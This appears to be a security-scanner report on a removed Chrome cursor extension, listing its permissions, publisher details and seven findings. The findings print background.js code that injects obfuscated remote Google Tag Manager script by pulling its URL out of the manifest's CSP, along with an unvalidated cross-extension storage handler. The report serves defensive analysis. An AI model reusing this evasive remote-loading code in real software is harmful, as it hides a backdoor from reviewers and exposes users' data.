My cursor

ID: mpppfkbjnjihilffdmikbaiilonolbch

Could be malicious

Supported Languages

๐Ÿ‡ง๐Ÿ‡ฉBengali
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡ฌ๐Ÿ‡งBritish English
๐Ÿ‡ง๐Ÿ‡ฌBulgarian
๐Ÿ‡ช๐Ÿ‡ธCatalan
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡ญ๐Ÿ‡ทCroatian
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ฉ๐Ÿ‡ฐDanish
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ช๐Ÿ‡ชEstonian
๐Ÿ‡ต๐Ÿ‡ญFilipino
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡ณGujarati
๐Ÿ‡ฎ๐Ÿ‡ณHindi
๐Ÿ‡ญ๐Ÿ‡บHungarian
๐Ÿ‡ฎ๐Ÿ‡ฉIndonesian
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ฑ๐Ÿ‡ปLatvian
๐Ÿ‡ฑ๐Ÿ‡นLithuanian
๐Ÿ‡ฒ๐Ÿ‡พMalay
๐Ÿ‡ฎ๐Ÿ‡ณMalayalam
๐Ÿ‡ฎ๐Ÿ‡ณMarathi
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ดRomanian
๐Ÿ‡ท๐Ÿ‡บRussian
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ธ๐Ÿ‡ฎSlovenian
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡ฎ๐Ÿ‡ณTamil
๐Ÿ‡ฎ๐Ÿ‡ณTelugu
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish
๐Ÿ‡บ๐Ÿ‡ธUS English
๐Ÿ‡ป๐Ÿ‡ณVietnamese

Extension Info & Metadata

Status
Removed
Version
1.1.9
Size
2.03 MB
Rating
1.0/5
Reviews
1
Users
151,043
Type
Extension
Updated
Jan 30, 2021
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Jeremy RossView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
151,043

Change cursor - select from huge cursor collection or upload your custom cursor

My cursor changes mouse cursor on web pages. We manually selected a huge preset of beautiful cursors! - 100+ cursors in various categories (See screenshot!) - Upload a custom cursor PS. It doesnโ€™t work over browser toolbar or on settings pages.

Item
Type
Severity
Description
*://*/*
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:โ€ข 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

Obfuscated Google Tag Manager (GTM-PJDM2PX) injection. The code uses fragmented string concatenation (`${"g"}tm.`, `${"G"}TM${"-"}`) to hide the GTM container ID and dataLayer setup from static analysis. It then dynamically constructs the GTM script URL by extracting the `googletagmanager.com` hostname directly from the extension's own `content_security_policy` field in the manifest โ€” a deliberate evasion technique to avoid hardcoding the suspicious URL. The resulting script tag (`https://www.googletagmanager.com/gtm.js?id=GTM-PJDM2PX&l=map1`) is appended to the background page's DOM, loading remote, operator-controlled JavaScript on every browser session. GTM tags can execute arbitrary JS, making this a persistent remote code execution channel.

background.js (Line 6599)
var map1 = {};map1[`${"g"}tm.` + `start`] = (new Date)  .getTime();map1["event"] = `${"g"}tm.` + "js";const _id = `${"G"}TM${"โˆ’"}` + `PJDM2PX`;window["map1"] = [map1];const doc = document;var targetElName = "lastElementChild";var targetEl = doc.body[targetElName];var targetCmd = `create${targetElName.substr(4,7)}`;var el = doc[targetCmd](targetEl["tagName"]);const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";el.setAttribute(targetEl.attributes[0].name, s);doc.body.appendChild(el);

This code obfuscates the construction of a remote Google Tag Manager URL and injects it into the background page as a new script element. Loading remotely hosted JavaScript into a privileged extension context allows post-review behavior changes and is a classic remote-code-loading backdoor pattern; it also enables background tracking logic to be updated server-side.

background.js (Line 6599)
var map1 = {};map1[`${"g"}tm.` + `start`] = (new Date)  .getTime();map1["event"] = `${"g"}tm.` + "js";const _id = `${"G"}TM${"-"}` + `PJDM2PX`;window["map1"] = [map1];const doc = document;var targetElName = "lastElementChild";var targetEl = doc.body[targetElName];var targetCmd = `create${targetElName.substr(4,7)}`;var el = doc[targetCmd](targetEl["tagName"]);const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";el.setAttribute(targetEl.attributes[0].name, s);doc.body.appendChild(el);

The `chrome.runtime.onMessageExternal` listener exposes full unrestricted read/write access to all extension storage (both `local` and `sync`) to any external Chrome extension. The `get_config` action returns the entire local storage dump, and `set_config`/`set_config_sync` accept arbitrary key-value writes with no validation or allowlist. Any malicious companion extension can use this to exfiltrate user preferences, overwrite cursor settings with data-URI payloads, or manipulate the `selected` item object which is later injected into all pages as CSS.

background.js (Line 6841)
chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {  if (request.action == "getInstalled") {    return sendResponse({      collections: this.collection,      ver: chrome.runtime.getManifest().version,      action: "get_installed_collection"    })  }  if (request.action == "get_config") {    chrome.storage.local.get(null, function(items) {      return sendResponse(items)    }.bind(this))  }  if (request.action == "set_config") {    chrome.storage.local.set(request.data);    return sendResponse({      status: true    })  }  if (request.action == "set_config_sync") {    chrome.storage.sync.set(request.data);    return sendResponse({      status: true    })  }  if (request.action == "get_config_sync") {    return sendResponse(this.config_sync)  }}.bind(this))

The extension deliberately extracts the `googletagmanager.com` URL from its own manifest's `content_security_policy` field at runtime rather than hardcoding it. This is an intentional obfuscation technique: the CSP string `"script-src 'self' https://www.google-analytics.com https://*.googleapis.com https://www.googletagmanager.com;"` is split on spaces and the 5th token is used as the base URL. This avoids static analysis tools flagging a literal `googletagmanager.com` string in the JS code. The CSP itself was crafted to make this extraction possible โ€” the GTM domain is placed as the predictable 5th token.

background.js (Line 6610)
const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";

A full copy of the UAParser.js library (v0.7.20) is bundled in the extension package as `js/info.js`, but this file is not referenced in the manifest's background scripts, content scripts, or any HTML page. It is not reachable through any declared entry point in this version's source. Its presence alongside the confirmed GTM injection (GTM-PJDM2PX) strongly suggests it is loaded and invoked dynamically at runtime via a GTM tag, enabling detailed browser, OS, device-type, and CPU architecture fingerprinting of all 151,000+ users without any consent disclosure.

js/info.js (Line 751)
var UAParser = function(uastring, extensions) {    if (typeof uastring === 'object') {      extensions = uastring;      uastring = undefined;    }    if (!(this instanceof UAParser)) {      return new UAParser(uastring, extensions).getResult();    }    var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);    ...    this.getResult = function() {      return {        ua: this.getUA(),        browser: this.getBrowser(),        engine: this.getEngine(),        os: this.getOS(),        device: this.getDevice(),        cpu: this.getCPU()      };    };

The `authSync()` method is called 1 second after startup and then recurs every 10 seconds indefinitely via `setTimeout`. On each tick it writes the cursor pack inventory to `chrome.storage.sync`, which syncs across all of the user's Chrome instances. The recurring sync behavior โ€” combined with the external message listener that exposes `set_config_sync` โ€” means an attacker with a companion extension could continuously inject data into the user's synced storage and have it propagate to all their devices. It also causes constant background activity unrelated to the cursor feature.

background.js (Line 6916)
authSync() {  chrome.storage.local.set({    collection: listOfCollection  });  chrome.storage.local.get(["collection", "selected", "size"], function(data) {    var packMap = new Map;    var packs = [];    chrome.storage.sync.set({      size: data.size    });    for (let i in data.collection) {      let collection = data.collection[i];      for (let y in collection.items) {        packs.push(collection.items[y].id);        packMap.set(collection.items[y].id, true)      }    }    chrome.storage.sync.get("packs", function(items) {      chrome.storage.sync.set({        packs: packs      })    })  });  setTimeout(this.authSync.bind(this), 1e3 * 10)}

The extension exposes an external message handler that accepts commands from outside the extension and modifies internal state without validating `sender.id` or any allowlist. This creates an unnecessary cross-extension control surface where another installed extension or app can query installed packs and write new collection data into privileged extension storage.

background.js (Line 6841)
chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {      if (request.action == "getInstalled") {        return sendResponse({          collections: this.collection,          ver: chrome.runtime.getManifest()            .version,          action: "get_installed_collection"        })      }      if (request.action == "install_collection") {        let data = {},          res = {            status: true,            version: chrome.runtime.getManifest()              .version,            action: "install_collection"          };        sendResponse(res);        data = request;        chrome.storage.local.get(null, function(items) {              this.collection = items.collection;              let slug = data["slug"];              delete data["slug"];              delete data.collection["slug"];              this.collection[slug] = data.collection[slug];              chrome.storage.local.set({                collection: this.collection              });

By severity

Critical2
High3
Medium2
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.1.97

Files with findings

2 distinct paths โ€” top paths by unique finding count:

  • background.js6
  • js/info.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
background.js (line 6599)Obfuscated Google Tag Manager (GTM-PJDM2PX) injection. The code uses fragmented string concatenation (`${"g"}tm.`, `${"G"}TM${"-"}`) to hide the GTM container ID and dataLayer setup from static analysis. It then dynamโ€ฆ
2Remote Code Loading
critical
background.js (line 6599)This code obfuscates the construction of a remote Google Tag Manager URL and injects it into the background page as a new script element. Loading remotely hosted JavaScript into a privileged extension context allows pโ€ฆ
3Obfuscation
high
background.js (line 6610)The extension deliberately extracts the `googletagmanager.com` URL from its own manifest's `content_security_policy` field at runtime rather than hardcoding it. This is an intentional obfuscation technique: the CSP stโ€ฆ
4Tracking
high
js/info.js (line 751)A full copy of the UAParser.js library (v0.7.20) is bundled in the extension package as `js/info.js`, but this file is not referenced in the manifest's background scripts, content scripts, or any HTML page. It is not โ€ฆ
5Unauthorized Data Collection
high
background.js (line 6841)The `chrome.runtime.onMessageExternal` listener exposes full unrestricted read/write access to all extension storage (both `local` and `sync`) to any external Chrome extension. The `get_config` action returns the entiโ€ฆ
6Privilege Escalation
medium
background.js (line 6841)The extension exposes an external message handler that accepts commands from outside the extension and modifies internal state without validating `sender.id` or any allowlist. This creates an unnecessary cross-extensiโ€ฆ
7Unauthorized Data Collection
medium
background.js (line 6916)The `authSync()` method is called 1 second after startup and then recurs every 10 seconds indefinitely via `setTimeout`. On each tick it writes the cursor pack inventory to `chrome.storage.sync`, which syncs across alโ€ฆ
URLs
54
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

github.com/twbs/bootstrap/blob/master/LICENSEhttps://github.com/twbs/bootstrap/blob/master/LICENSE
goo.gl/pxwQGphttps://goo.gl/pxwQGp
popper.js.org-https://popper.js.org
github.com/twbs/bootstrap/issues/24251https://github.com/twbs/bootstrap/issues/24251
www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.htmlhttps://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
jquery.com-http://jquery.com/
sizzlejs.com-http://sizzlejs.com/
jquery.org/licensehttp://jquery.org/license
jsperf.com/thor-indexof-vs-for/5http://jsperf.com/thor-indexof-vs-for/5
www.w3.org/TR/css3-selectors/http://www.w3.org/TR/css3-selectors/#whitespace
Showing 1 to 10 of 60 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.1.9
Latest
2.03 MB
Malicious
7
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.